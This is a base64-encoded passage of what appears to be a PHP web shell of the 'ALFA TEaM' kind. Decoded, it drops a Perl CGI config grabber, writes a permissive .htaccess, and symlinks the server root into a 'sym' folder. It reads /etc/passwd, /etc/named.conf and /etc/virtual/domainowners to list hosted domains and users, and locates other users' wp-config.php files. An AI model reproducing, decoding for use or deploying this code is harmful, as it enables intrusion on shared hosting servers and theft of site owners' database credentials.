ZjR0ZqYXlnaVF5SXNJR2hsZUNna01Ta3BMMlZuT3cwS0lDQWtkbUZzZFdVZ1BYNGdkSEl2S3k4Z0x6c05DaUFnSkhaaGJIVmxJRDErSUhNdkpTaGJZUzFtUVMxR01DMDVYVnRoTFdaQkxVWXdMVGxkS1M5d1lXTnJLQ0pESWl3Z2FHVjRLQ1F4S1NrdlpXYzdEUW9nSUNSR1QxSk5leVJ1WVcxbGZTQTlJQ1IyWVd4MVpUc05DbjBOQ21sbUlDZ2tSazlTVFh0d1lYTnpmU0JsY1NBaUlpbDdEUXB3Y21sdWRDQW5EUW84WW05a2VTQmpiR0Z6Y3owaWMyOXNaWFpwYzJsaWJHVWlJR0puWTI5c2IzSTlJaU13TURBd01EQWlQZzBLUEhBK1UyOXNaWFpwYzJsaWJHVmJRVXhHUVNCVVJXRk5YU0JEYjI1bWFXY2dSblZqYTJWeVBDOXdQZzBLUEhBK2MyOXNaWFpwYzJsaWJHVmJZWFJkWjIxaGFXd3VZMjl0UEM5d1BnMEtQSE53WVc0K1BHWnZiblFnWTI5c2IzSTlJbkpsWkNJK2JtOTBaVG84TDJadmJuUStJR1Z1ZEdWeUlIQmhjM04zWkQwK0lEeG1iMjUwSUdOdmJHOXlQU0lqUmtaR1JrWkdJajVqWVhRZ0wyVjBZeTl3WVhOemQyUThMMlpTY3ljN0pFOVZWRDF6YjJ4bGRtbHphV1FzWlNna1QxVlVLVHRsZG1GVlRzS0NSUFQwOHdNREF3VHpBb0pFOVZWQ2t2Ym5RK1BDOXpjR0Z1UGp4aWNpQXZQZzBLUEdKeUlDOCtQR1p2Y20wZ2JXVjBhRzlrUFNKd2IzTjBJajQ4YzNSeWIyNW5QZzBLUEhSbGVIUmhjbVZoSUdsa1BTSmphR1ZqYTI5MWRIUmxlSFJoY21WaElpQnVZVzFsUFNKd1lYTnpJaUJ6ZEhsc1pUMGlZbTl5WkdWeU9qTndlQ0JrYjNSMFpXUWdJMFpHTURBd01Ec2dkMmxrZEdnNklDQTBPVGh3ZURzZ2FHVnBaMmgwT2lBek56QndlRHNnWW1GamEyZHliM1Z1WkMxamIyeHZjam9qUmtaR1JrWkdPeUJtYjI1MExXWmhiV2xzZVRwVVlXaHZiV0U3SUdadmJuUXRjMmw2WlRvNWNIUTdJR052Ykc5eU9pQmliR0ZqYXlJZ0lENDhMM1JsZUhSaGNtVmhQanhpY2lBdlBnMEtKbTVpYzNBN1BIQStEUW84YVc1d2RYUWdibUZ0WlQwaWRHRnlJaUIwZVhCbFBTSjBaWGgwSWlCemRIbHNaVDBpWW05eVpHVnlPak53ZUNCa2IzUjBaV1FnSTBaR01EQXdNRHNnZDJsa2RHZzZJREl4TW5CNE95QmlZV05yWjNKdmRXNWtMV052Ykc5eU9pTkdSa1pHUmtZN0lHWnZiblF0Wm1GdGFXeDVPbFJoYUc5dFlUc2dabTl1ZEMxemFYcGxPamh3ZERzZ1kyOXNiM0k2WW14aFkyczdJQ0lnSUM4K1BHSnlJQzgrRFFvbWJtSnpjRHM4TDNBK0RRbzhjRDROQ2p4cGJuQjFkQ0J1WVcxbFBTSlRkV0p0YVhReElpQjBlWEJsUFNKemRXSnRhWFFpSUhaaGJIVmxQU0pEYjI1bWFXY2dSMlYwSWlCemRIbHNaVDBpWW05eVpHVnlPak53ZUNCa2IzUjBaV1FnSTBaR01EQXdNRHNnZDJsa2RHZzZJRGs1T3lCbWIyNTBMV1poYldsc2VUcFVZV2h2YldFN0lHWnZiblF0YzJsNlpUb3hNSEIwT3lCamIyeHZjam9nWW14aFkyczdJSFJsZUhRdGRISmhibk5tYjNKdE9uVndjR1Z5WTJGelpUc2dhR1ZwWjJoME9qSXpPeUJpWVdOclozSnZkVzVrTFdOdmJHOXlPaU5HUmtaR1JrWTdJaUF2UGp3dmNENE5Dand2Wm05eWJUNDhMM04wY205dVp6NE5DaWM3RFFwOVpXeHpaWHNOQ2tCc2FXNWxjeUE5UENSR1QxSk5lM0JoYzNOOVBqc05DaVI1SUQwZ1FHeHBibVZ6T3cwS2IzQmxiaUFvVFZsU2N5YzdKRTlWVkQxemIyeGxkbWx6YVdRc1pTZ2tUMVZVS1R0bGRtRlZUc0tDUlBUMDh3TURBd1R6QW9KRTlWVkNrR1NVeEZMQ0FpUG5SaGNpNTBiWEFpS1RzTkNuQnlhVzUwSUUxWlJrbE1SU0FpZEdGeUlDMWplbVlnSWk0a1JrOVNUWHQwWVhKOUxpSXVkR0Z5SUNJN0RRcG1iM0lnS0NScllUMHdPeVJyWVR3a2VUc2thMkVyS3lsN0RRcDNhR2xzWlNoQWJHbHVaWE5iSkd0aFhTQWdQWDRnYlM4b0xpby9LVHA0T2k5bktYc05DaVpzYVd3b0pERXBPdzBLY0hKcGJuUWdUVmxHU1V4RklDUXhMaUl1ZEhoMElDSTdEUXBtYjNJb0pHdGtQVEU3Skd0a1BERTRPeVJyWkNzcktYc05DbkJ5YVc1MElFMVpSa2xNUlNBa01TNGthMlF1SWk1MGVIUWdJanNOQ24wTkNuME5DaUI5RFFwd2NtbHVkQ2M4WW05a2VTQmpiR0Z6Y3owaWMyOXNaWFpwYzJsaWJHVWlJR0puWTI5c2IzSTlJaU13TURBd01EQWlQZzBLUEdneVBtTnZiWEJzWlhSbFpDQTZLVHd2YURJK0RRbzhjRDRtYm1KemNEczhMM0ErSnpzTkNtbG1LQ1JHVDFKTmUzUmhjbjBnYm1VZ0lpSXBldzBLYjNCbGJpaEpUa1pQTENBaWRHRnlMblJ0Y0NJcE93MEtRR3hwYm1WeklEMDhTVTVHVHo0Z093MEtZMnh2YzJVb1NVNUdUeWs3RFFwemVYTjBaVzBvUUd4cGJtVnpLVHNOQ25CeWFXNTBKenh3UGp4aElHaHlaV1k5SWljdUpFWlBVazE3ZEdGeWZTNG5MblJoY2lJK1BHWnZiblFnWTI5c2IzSTlJaU13TUVaR01EQWlQZzBLUEhOd1lXNGdjM1I1YkdVOUluUmxlSFF0WkdWamIzSmhkR2x2YmpvZ2JtOXVaU0krUTJ4cFkyc2dTR1Z5WlNCVWJ5QkViM2R1Ykc5aFpDQlVZWElnUm1sc1pUd3ZjM0JoYmo0OEwyWnZiblErUEM5aFBqd3ZjRDRuT3cwS2ZRMEtmUTBLSUhCeWFXNTBJZzBLUEM5aWIyUjVQZzBLUEM5b2RHMXNQaUk3JzsNCiRzb2xldmlzaWJsZTEgPSBmb3BlbignY29uZmlnLmFsZmEnLCd3KycpOw0KJHNvbGV2aXNpYmxlMiA9IGZ3cml0ZSAoJHNvbGV2aXNpYmxlMSAsYmFzZTY0X2RlY29kZSgkc29sZXZpc2libGUzKSk7DQpmY2xvc2UoJHNvbGV2aXNpYmxlMSk7DQpjaG1vZCgnY29uZmlnLmFsZmEnLDA3NTUpOw0KZWNobyAiPHByZSBpZD1cInN0ck91dHB1dFwiIHN0eWxlPVwibWFyZ2luLXRvcDo1cHhcIiBjbGFzcz1cIm1sMVwiPjxicj4iOw0KZWNobyAnPGlmcmFtZSBzcmM9YWxmYWNvbmZpZy9jb25maWcuYWxmYSB3aWR0aD0xMDAlIGhlaWdodD02MDBweCBmcmFtZWJvcmRlcj0wPjwvaWZyYW1lPiAnOw0KfQ0KaWYoaXNzZXQoJF9QT1NUWydhbGZhNCddKSAmJiAkX1BPU1RbJ2FsZmE0J109PSdTeW1GaWxlJykNCnsNCmVjaG8gJw0KPHNjcmlwdD5hbGZhMV89YWxmYTJfPWFsZmEzXz1hbGZhNF89YWxmYTVfPWFsZmE2Xz1hbGZhN189YWxmYThfPSIiOzwvc2NyaXB0Pg0KPGNlbnRlcj4NCjxwcmUgaWQ9InN0ck91dHB1dCIgc3R5bGU9Im1hcmdpbi10b3A6NXB4IiBjbGFzcz0ibWwxIj48L3ByZT48YnI+DQo8Zm9ybSBvblN1Ym1pdD0iZyhcJ3N5bWxpbmtcJyxudWxsLG51bGwsbnVsbCxudWxsLFwnU3ltRmlsZVwnLHRoaXMuZmlsZS52YWx1ZSx0aGlzLnN5bWZpbGUudmFsdWUsdGhpcy5zeW1saW5rLnZhbHVlKTtyZXR1cm4gZmFsc2U7IiBtZXRob2Q9InBvc3QiPg0KPGI+PGJpZz48Zm9udCBjb2xvcj0iI0ZGRkYwMSIgPj09PC9mb250PiA8Zm9udCBjb2xvcj0iIzAwQTIyMCI+U3ltbGluazwvZm9udD4gPGZvbnQgY29sb3I9IiNGRkZGRkYiPkZpbGUgQW5kPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj4gRGlyZWN0b3J5PC9mb250Pjxmb250IGNvbG9yPSIjRkZGRjAxIj4gPT08L2ZvbnQ+PC9iPjwvYmlnPjxwPg0KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImZpbGUiIHBsYWNlaG9sZGVyPSJFeGFtcGxlIDogL2hvbWUvdXNlci9wdWJsaWNfaHRtbC9jb25maWcucGhwIiBzaXplPSI2MCIvPjxiciAvPjxwPg0KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InN5bWZpbGUiIHBsYWNlaG9sZGVyPSJFeGFtcGxlIDogYWxmYS50eHQiIHNpemU9IjYwIi8+PGJyIC8+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iPj4iIG5hbWU9InN5bWxpbmsiIC8+DQo8L2Zvcm0+PC9jZW50ZXI+DQonOw0KQG1rZGlyKCdzeW0nLDA3NzcpOw0KJHNvbGV2aXNpYmxlMTEgPSAiT3B0aW9ucyBhbGwgXG4gRGlyZWN0b3J5SW5kZXggU3V4Lmh0bWwgXG4gQWRkVHlwZSB0ZXh0L3BsYWluIC5waHAgXG4gQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgXG4gQWRkVHlwZSB0ZXh0L3BsYWluIC5odG1sIFxuIEFkZEhhbmRsZXIgdHh0IC5odG1sIFxuIFJlcXVpcmUgTm9uZSBcbiBTYXRpc2Z5IEFueSI7DQokc29sZXZpc2libGUxMCA9QGZvcGVuICgnc3ltLy5odGFjY2VzcycsJ3cnKTsNCmZ3cml0ZSgkc29sZXZpc2libGUxMCAsJHNvbGV2aXNpYmxlMTEpOw0KJHNvbGV2aXNpYmxlNTYgPSAkX1BPU1RbJ2FsZmE1J107DQokc29sZXZpc2libGU1NyA9ICRfUE9TVFsnYWxmYTYnXTsNCiRzb2xldmlzaWJsZTU4ID0gJF9QT1NUWydhbGZhNyddOw0KaWYgKCRzb2xldmlzaWJsZTU4KQ0Kew0KQHN5bWxpbmsoIiRzb2xldmlzaWJsZTU2Iiwic3ltLyRzb2xldmlzaWJsZTU3Iik7DQplY2hvICI8cHJlIGlkPVwic3RyT3V0cHV0XCIgc3R5bGU9XCJtYXJnaW4tdG9wOjVweFwiIGNsYXNzPVwibWwxXCI+PGJyPiI7DQplY2hvICc8Y2VudGVyPjxiPjxmb250IGNvbG9yPSJ3aGl0ZSI+Q2xpY2sgPj4gPC9mb250PjxhIHRhcmdldD0iX2JsYW5rIiBocmVmPSJzeW0vJy4kc29sZXZpc2libGU1Ny4nIiA+PGI+PGZvbnQgc2l6ZT0iNCI+Jy4kc29sZXZpc2libGU1Ny4nPC9mb250PjwvYj48L2E+PC9iPjwvY2VudGVyPjxicj4nOw0KfQ0KfQ0KaWYoaXNzZXQoJF9QT1NUWydhbGZhMSddKSAmJiAkX1BPU1RbJ2FsZmExJ109PSd3ZWJzaXRlJykNCntpZighQGZpbGVfZXhpc3RzKCIvZXRjL3ZpcnR1YWwvZG9tYWlub3duZXJzIikpew0KZWNobyAiPGNlbnRlcj4iOw0KJGQwbWFpbnMgPSBAZmlsZSgiL2V0Yy9uYW1lZC5jb25mIik7DQppZighJGQwbWFpbnMpeyBlY2hvICI8cHJlIGNsYXNzPW1sMSBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnPjxiPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPlsrXSBDYW50IGFjY2VzcyB0aGlzIGZpbGUgb24gc2VydmVyIC0+IFsgL2V0Yy9uYW1lZC5jb25mIF08L2I+PC9mb250PjwvcHJlPjwvY2VudGVyPiI7IH0NCmVjaG8gIjxwcmUgaWQ9XCJzdHJPdXRwdXRcIiBzdHlsZT1cIm1hcmdpbi10b3A6NXB4XCIgY2xhc3M9XCJtbDFcIj48YnI+PHRhYmxlIGFsaWduPSdjZW50ZXInIHdpZHRoPSc0MCUnIGNsYXNzPSdtYWluJyBib3JkZXI9JzEnPjx0ZD48Zm9udCBjb2xvcj1cIiMwMEEyMjBcIj48Yj48Y2VudGVyPiMgQ291bnQ8L2NlbnRlcj48L2ZvbnQ+PC9iPjwvdGQ+PHRkPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPjxiPjxjZW50ZXI+RG9tYWluczwvY2VudGVyPjwvZm9udD48L2I+PC90ZD48dGQ+PGZvbnQgY29sb3I9XCIjRkYwMDAwXCI+PGI+PGNlbnRlcj5Vc2VyczwvY2VudGVyPjwvZm9udD48L2I+PC90ZD4iOw0KJGNvdW50PTE7DQpmb3JlYWNoKCRkMG1haW5zIGFzICRkMG1haW4pew0KaWYoQGVyZWdpKCJ6b25lIiwkZDBtYWluKSl7DQpwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsICRkMG1haW4sICRkb21haW5zKTsNCmZsdXNoKCk7DQppZihzdHJsZW4odHJpbSgkZG9tYWluc1sxXVswXSkpID4gMil7DQokdXNlciA9IHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMvIi4kZG9tYWluc1sxXVswXSkpOw0KZWNobyAiPHRyPjx0ZD48Yj48Zm9udCBjb2xvcj1cIiMwMEEyMjBcIj4iLiRjb3VudC4iPC9iPjwvZm9udD48L3RkPjx0ZD48YSBocmVmPWh0dHA6Ly93d3cuIi4kZG9tYWluc1sxXVswXS4iLz48Zm9udCBjb2xvcj1cIiNGRkZGRkZcIj48Yj4iLiRkb21haW5zWzFdWzBdLiI8L2ZvbnQ+PC9iPjwvYT48L3RkPjx0ZD48Yj48Zm9udCBjb2xvcj1cIiNGRjAwMDBcIj4iLiR1c2VyWyduYW1lJ10uIjwvZm9udD48L2I+PC90ZD48L3RyPiI7Zmx1c2goKTsNCiRjb3VudCsrOw0KfX19DQplY2hvICI8L2NlbnRlcj48L3RhYmxlPiI7DQp9ZWxzZXtlY2hvICc8cHJlIGlkPSJzdHJPdXRwdXQiIHN0eWxlPSJtYXJnaW4tdG9wOjVweCIgY2xhc3M9Im1sMSI+PGJyPjxmb250IGNvbG9yPSIjRkZGRkZGIj5UaGlzIGlzIFNlcnZlciBEaXJlY3RBZG1pbiBQbGVhc2UgdXNlIDwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+V2hvbGUgU3ltbGluayBmb3IgRGlyZWN0QWRtaW48L2ZvbnQ+PC9iPiAnO30NCn0NCmlmKGlzc2V0KCRfUE9TVFsnYWxmYTInXSkgJiYgJF9QT1NUWydhbGZhMiddPT0nd2hvbGUnKQ0Kew0KaWYoIUBmaWxlX2V4aXN0cygiL2V0Yy92aXJ0dWFsL2RvbWFpbm93bmVycyIpKXsNCkBzZXRfdGltZV9saW1pdCgwKTsNCmVjaG8gIjxjZW50ZXI+IjsNCkBta2Rpcignc3ltJywwNzc3KTsNCiRzb2xldmlzaWJsZTExID0gIk9wdGlvbnMgYWxsIFxuIERpcmVjdG9yeUluZGV4IFN1eC5odG1sIFxuIEFkZFR5cGUgdGV4dC9wbGFpbiAucGhwIFxuIEFkZEhhbmRsZXIgc2VydmVyLXBhcnNlZCAucGhwIFxuIEFkZFR5cGUgdGV4dC9wbGFpbiAuaHRtbCBcbiBBZGRIYW5kbGVyIHR4dCAuaHRtbCBcbiBSZXF1aXJlIE5vbmUgXG4gU2F0aXNmeSBBbnkiOw0KJHNvbGV2aXNpYmxlMTAgPUBmb3BlbiAoJ3N5bS8uaHRhY2Nlc3MnLCd3Jyk7DQpmd3JpdGUoJHNvbGV2aXNpYmxlMTAgLCRzb2xldmlzaWJsZTExKTsNCkBzeW1saW5rKCcvJywnc3ltL3Jvb3QnKTsNCiRzb2xldmlzaWJsZTEyID0gYmFzZW5hbWUoJ19GSUxFXycpOw0KJHNvbGV2aXNpYmxlOSA9IEBmaWxlKCcvZXRjL25hbWVkLmNvbmYnKTsNCmlmKCEkc29sZXZpc2libGU5KQ0Kew0KZWNobyAiPHByZSBjbGFzcz1tbDEgc3R5bGU9J21hcmdpbi10b3A6NXB4Jz48Yj48Zm9udCBjb2xvcj1cIiNGRkZGRkZcIj5bK10gQ2FudCBhY2Nlc3MgdGhpcyBmaWxlIG9uIHNlcnZlciAtPiBbIC9ldGMvbmFtZWQuY29uZiBdPC9iPjwvZm9udD48L3ByZT48L2NlbnRlcj4iOw0KfQ0KZWxzZQ0Kew0KZWNobyAiPHByZSBpZD1cInN0ck91dHB1dFwiIHN0eWxlPVwibWFyZ2luLXRvcDo1cHhcIiBjbGFzcz1cIm1sMVwiPjxicj4iOw0KZWNobyAiPHRhYmxlIGFsaWduPSdjZW50ZXInIHdpZHRoPSc0MCUnIGNsYXNzPSdtYWluJyBib3JkZXI9JzEnPg0KPHRkPjxmb250IGNvbG9yPVwiI0ZGRkYwMVwiPjxiPjxjZW50ZXI+IyBDb3VudDwvY2VudGVyPjwvZm9udD48L2I+PC90ZD4NCjx0ZD48Zm9udCBjb2xvcj1cIiMwMEEyMjBcIj48Yj48Y2VudGVyPkRvbWFpbnM8L2NlbnRlcj48L2ZvbnQ+PC9iPjwvdGQ+DQo8dGQ+PGZvbnQgY29sb3I9XCIjRkZGRkZGXCI+PGI+PGNlbnRlcj5Vc2VyczwvY2VudGVyPjwvZm9udD48L2I+PC90ZD4NCjx0ZD48Zm9udCBjb2xvcj1cIiNGRjAwMDBcIj48Yj48Y2VudGVyPnN5bWxpbms8L2NlbnRlcj48L2ZvbnQ+PC9iPjwvdGQ+IjsNCiRjb3VudD0xOw0KZm9yZWFjaCgkc29sZXZpc2libGU5IGFzICRzb2xldmlzaWJsZTEzKXsNCmlmKEBlcmVnaSgnem9uZScsJHNvbGV2aXNpYmxlMTMpKXsNCnByZWdfbWF0Y2hfYWxsKCcjem9uZSAiKC4qKSIjJywkc29sZXZpc2libGUxMywkc29sZXZpc2libGUxNCk7DQpmbHVzaCgpOw0KaWYoc3RybGVuKHRyaW0oJHNvbGV2aXNpYmxlMTRbMV1bMF0pKSA+Mil7DQokc29sZXZpc2libGUxOCA9IHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJy9ldGMvdmFsaWFzZXMvJy4kc29sZXZpc2libGUxNFsxXVswXSkpOw0KJHNvbGV2aXNpYmxlMjEgPSAkc29sZXZpc2libGUxOFsnbmFtZSddOw0KQHN5bWxpbmsoJy8nLCdzeW0vcm9vdCcpOw0KJHNvbGV2aXNpYmxlMjEgPSAkc29sZXZpc2libGUxNFsxXVswXTsNCiRzb2xldmlzaWJsZTIwID0gJ1wuaXInOw0KJHNvbGV2aXNpYmxlMTkgPSAnXC5pbCc7DQppZiAoQGVyZWdpKCIkc29sZXZpc2libGUyMCIsJHNvbGV2aXNpYmxlMTRbMV1bMF0pIG9yIEBlcmVnaSgiJHNvbGV2aXNpYmxlMTkiLCRzb2xldmlzaWJsZTE0WzFdWzBdKSApew0KJHNvbGV2aXNpYmxlMjEgPSAiPGI+PGZvbnQgY29sb3I9XCIjMDBGRkZGXCI+Ii4kc29sZXZpc2libGUxNFsxXVswXS4nPC9mb250PjwvYj4nO30NCmVjaG8gIjx0cj48dGQ+PGZvbnQgY29sb3I9XCIjRkZGRjAxXCI+eyRjb3VudH08L2ZvbnQ+PC90ZD48dGQ+PGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9aHR0cDovL3d3dy4iLiRzb2xldmlzaWJsZTE0WzFdWzBdLicvPjxmb250IGNvbG9yPVwiIzAwQTIyMFwiPjxiPicuJHNvbGV2aXNpYmxlMjEuJzwvYj4gPC9hPjwvZm9udD48L3RkPjx0ZD48Zm9udCBjb2xvcj0id2hpdGUiPjxiPicuJHNvbGV2aXNpYmxlMThbJ25hbWUnXS4iPC9mb250PjwvYj48L3RkPjx0ZD48YSBocmVmPSdzeW0vcm9vdC9ob21lLyIuJHNvbGV2aXNpYmxlMThbJ25hbWUnXS4iL3B1YmxpY19odG1sJyB0YXJnZXQ9J19ibGFuayc+PGZvbnQgY29sb3I9XCIjRkYwMDAwXCI+c3ltbGluayA8L2ZvbnQ+PC9hPjwvdGQ+PC90cj4iO2ZsdXNoKCk7DQokY291bnQrKzt9fX19fWVsc2Uge2VjaG8gJzxwcmUgaWQ9InN0ck91dHB1dCIgc3R5bGU9Im1hcmdpbi10b3A6NXB4IiBjbGFzcz0ibWwxIj48YnI+PGZvbnQgY29sb3I9IiNGRkZGRkYiPlRoaXMgaXMgU2VydmVyIERpcmVjdEFkbWluIFBsZWFzZSB1c2UgPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj5XaG9sZSBTeW1saW5rIGZvciBEaXJlY3RBZG1pbjwvZm9udD48L2I+ICc7fQ0KZWNobyAiPC9jZW50ZXI+PC90YWJsZT4iOw0KfQ0KaWYoaXNzZXQoJF9QT1NUWydhbGZhNiddKSAmJiAkX1BPU1RbJ2FsZmE2J109PSdkaXJlY3QnKQ0Kew0KaWYoQGZpbGVfZXhpc3RzKCIvZXRjL3ZpcnR1YWwvZG9tYWlub3duZXJzIikpew0KQG1rZGlyKCdzeW0nLDA3NzcpOw0KJHNvbGV2aXNpYmxlMTEgPSAiT3B0aW9ucyBhbGwgXG4gRGlyZWN0b3J5SW5kZXggU3V4Lmh0bWwgXG4gQWRkVHlwZSB0ZXh0L3BsYWluIC5waHAgXG4gQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgXG4gQWRkVHlwZSB0ZXh0L3BsYWluIC5odG1sIFxuIEFkZEhhbmRsZXIgdHh0IC5odG1sIFxuIFJlcXVpcmUgTm9uZSBcbiBTYXRpc2Z5IEFueSI7DQokc29sZXZpc2libGUxMCA9QGZvcGVuICgnc3ltLy5odGFjY2VzcycsJ3cnKTsNCmZ3cml0ZSgkc29sZXZpc2libGUxMCAsJHNvbGV2aXNpYmxlMTEpOw0KQHN5bWxpbmsoJy8nLCdzeW0vcm9vdCcpOw0KZmNsb3NlKCRzb2xldmlzaWJsZTEwKTsNCiRzb2xlID0gQGZpbGUoIi9ldGMvdmlydHVhbC9kb21haW5vd25lcnMiKTsNCiRjb3VudD0xOw0KZWNobyAiPHByZSBpZD1cInN0ck91dHB1dFwiIHN0eWxlPVwibWFyZ2luLXRvcDo1cHhcIiBjbGFzcz1cIm1sMVwiPjxicj4iOw0KZWNobyAiPHRhYmxlIGFsaWduPSdjZW50ZXInIHdpZHRoPSc0MCUnIGNsYXNzPSdtYWluJyBib3JkZXI9JzEnPg0KPHRkPjxmb250IGNvbG9yPVwiI0ZGRkYwMVwiPjxiPjxjZW50ZXI+IyBDb3VudDwvY2VudGVyPjwvZm9udD48L2I+PC90ZD4NCjx0ZD48Zm9udCBjb2xvcj1cIiMwMEEyMjBcIj48Yj48Y2VudGVyPkRvbWFpbnM8L2NlbnRlcj48L2ZvbnQ+PC9iPjwvdGQ+DQo8dGQ+PGZvbnQgY29sb3I9XCIjRkZGRkZGXCI+PGI+PGNlbnRlcj5Vc2VyczwvY2VudGVyPjwvZm9udD48L2I+PC90ZD4NCjx0ZD48Zm9udCBjb2xvcj1cIiNGRjAwMDBcIj48Yj48Y2VudGVyPnN5bWxpbms8L2NlbnRlcj48L2ZvbnQ+PC9iPjwvdGQ+IjsNCmZvcmVhY2goJHNvbGUgYXMgJHZpc2libGUpew0KaWYoQGVyZWdpKCI6IiwkdmlzaWJsZSkpew0KJHNvbGV2aXNpYmxlID0gZXhwbG9kZSgnOicsICR2aXNpYmxlKTsNCmVjaG8gIjx0cj48dGQ+PGZvbnQgY29sb3I9XCIjRkZGRjAxXCI+eyRjb3VudH08L2ZvbnQ+PC90ZD48dGQ+PGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9aHR0cDovL3d3dy4iLnRyaW0oJHNvbGV2aXNpYmxlWzBdKS4nLz48Zm9udCBjb2xvcj1cIiMwMEEyMjBcIj48Yj4nLnRyaW0oJHNvbGV2aXNpYmxlWzBdKS4nPC9iPiA8L2ZvbnQ+PC9hPjwvdGQ+PHRkPjxmb250IGNvbG9yPSJ3aGl0ZSI+PGI+Jy50cmltKCRzb2xldmlzaWJsZVsxXSkuIjwvZm9udD48L2I+PC90ZD48dGQ+PGEgaHJlZj0nc3ltL3Jvb3QvaG9tZS8iLnRyaW0oJHNvbGV2aXNpYmxlWzFdKS4iL3B1YmxpY19odG1sJyB0YXJnZXQ9J19ibGFuayc+PGZvbnQgY29sb3I9XCIjRkYwMDAwXCI+c3ltbGluayA8L2ZvbnQ+PC9hPjwvdGQ+PC90cj4iO2ZsdXNoKCk7DQokY291bnQrKzt9fWVjaG8gIjwvdGFibGU+Ijt9ZWxzZXtlY2hvICc8cHJlIGlkPSJzdHJPdXRwdXQiIHN0eWxlPSJtYXJnaW4tdG9wOjVweCIgY2xhc3M9Im1sMSI+PGJyPjxmb250IGNvbG9yPSIjRkZGRkZGIj5UaGlzIGlzIFNlcnZlciBDcGFuZWwgUGxlYXNlIHVzZTwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+IFdob2xlIFN5bWxpbmsgZm9yIENwYW5lbDwvZm9udD48L2I+PGJyPic7fX0NCmlmKGlzc2V0KCRfUE9TVFsnYWxmYTMnXSkgJiYgJF9QT1NUWydhbGZhMyddPT0nY29uZmlnJykNCnsNCmVjaG8gIjxjZW50ZXI+IjsNCkBta2Rpcignc3ltJywwNzc3KTsNCiRzb2xldmlzaWJsZTExID0gIk9wdGlvbnMgYWxsIFxuIERpcmVjdG9yeUluZGV4IFN1eC5odG1sIFxuIEFkZFR5cGUgdGV4dC9wbGFpbiAucGhwIFxuIEFkZEhhbmRsZXIgc2VydmVyLXBhcnNlZCAucGhwIFxuIEFkZFR5cGUgdGV4dC9wbGFpbiAuaHRtbCBcbiBBZGRIYW5kbGVyIHR4dCAuaHRtbCBcbiBSZXF1aXJlIE5vbmUgXG4gU2F0aXNmeSBBbnkiOw0KJHNvbGV2aXNpYmxlMTAgPUBmb3BlbiAoJ3N5bS8uaHRhY2Nlc3MnLCd3Jyk7DQpAZndyaXRlKCRzb2xldmlzaWJsZTEwICwkc29sZXZpc2libGUxMSk7DQpAc3ltbGluaygnLycsJ3N5bS9yb290Jyk7DQokc29sZXZpc2libGUxMiA9IGJhc2VuYW1lKCdfRklMRV8nKTsNCiRzb2xldmlzaWJsZTkgPSBAZmlsZSgnL2V0Yy9uYW1lZC5jb25mJyk7DQppZighJHNvbGV2aXNpYmxlOSkNCnsNCmVjaG8gIjxwcmUgY2xhc3M9bWwxIHN0eWxlPSdtYXJnaW4tdG9wOjVweCc+PGI+PGZvbnQgY29sb3I9XCIjRkZGRkZGXCI+WytdIENhbnQgYWNjZXNzIHRoaXMgZmlsZSBvbiBzZXJ2ZXIgLT4gWyAvZXRjL25hbWVkLmNvbmYgXTwvYj48L2ZvbnQ+PC9wcmU+PC9jZW50ZXI+IjsNCn0NCmVsc2UNCnsNCmVjaG8gIjxwcmUgaWQ9XCJzdHJPdXRwdXRcIiBzdHlsZT1cIm1hcmdpbi10b3A6NXB4XCIgY2xhc3M9XCJtbDFcIj48YnI+DQo8dGFibGUgYWxpZ249J2NlbnRlcicgd2lkdGg9JzQwJScgY2xhc3M9J21haW4nID48dGQ+PGI+PGZvbnQgY29sb3I9XCIjRkZGRkZGXCI+PGNlbnRlcj4gRG9tYWlucyA8Yj48L2ZvbnQ+PC9jZW50ZXI+PC90ZD48dGQ+IDxiPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPlNjcmlwdCA8Yj48L2ZvbnQ+PC9jZW50ZXI+PC90ZD4iOw0KZm9yZWFjaCgkc29sZXZpc2libGU5IGFzICRzb2xldmlzaWJsZTEzKXsNCmlmKEBlcmVnaSgnem9uZScsJHNvbGV2aXNpYmxlMTMpKXsNCnByZWdfbWF0Y2hfYWxsKCcjem9uZSAiKC4qKSIjJywkc29sZXZpc2libGUxMywkc29sZXZpc2libGUxNCk7DQpmbHVzaCgpOw0KaWYoc3RybGVuKHRyaW0oJHNvbGV2aXNpYmxlMTRbMV1bMF0pKSA+Mil7DQokc29sZXZpc2libGUxOCA9IHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJy9ldGMvdmFsaWFzZXMvJy4kc29sZXZpc2libGUxNFsxXVswXSkpOw0KJHNvbGV2aXNpYmxlMTU9JHNvbGV2aXNpYmxlOC4nL3N5bS9yb290L2hvbWUvJy4kc29sZXZpc2libGUxOFsnbmFtZSddLicvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCc7DQokc29sZXZpc2libGUzMz1nZXRfaGVhZGVycygkc29sZXZpc2libGUxNSk7DQokc29sZXZpc2libGUxNz0kc29sZXZpc2libGUzM1swXTsNCiRzb2xldmlzaWJsZTM0PSRzb2xldmlzaWJsZTguJy9zeW0vcm9vdC9ob21lLycuJHNvbGV2aXNpYmxlMThbJ25hbWUnXS4nL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCc7DQokc29sZXZpc2libGUzNT1nZXRfaGVhZGVycygkc29sZXZpc2libGUzNCk7DQokc29sZXZpc2libGUzNj0kc29sZXZpc2libGUzNVswXTsNCiRzb2xldmlzaWJsZTM3PSRzb2xldmlzaWJsZTguJy9zeW0vcm9vdC9ob21lLycuJHNvbGV2aXNpYmxlMThbJ25hbWUnXS4nL3B1YmxpY19odG1sL2NvbmZ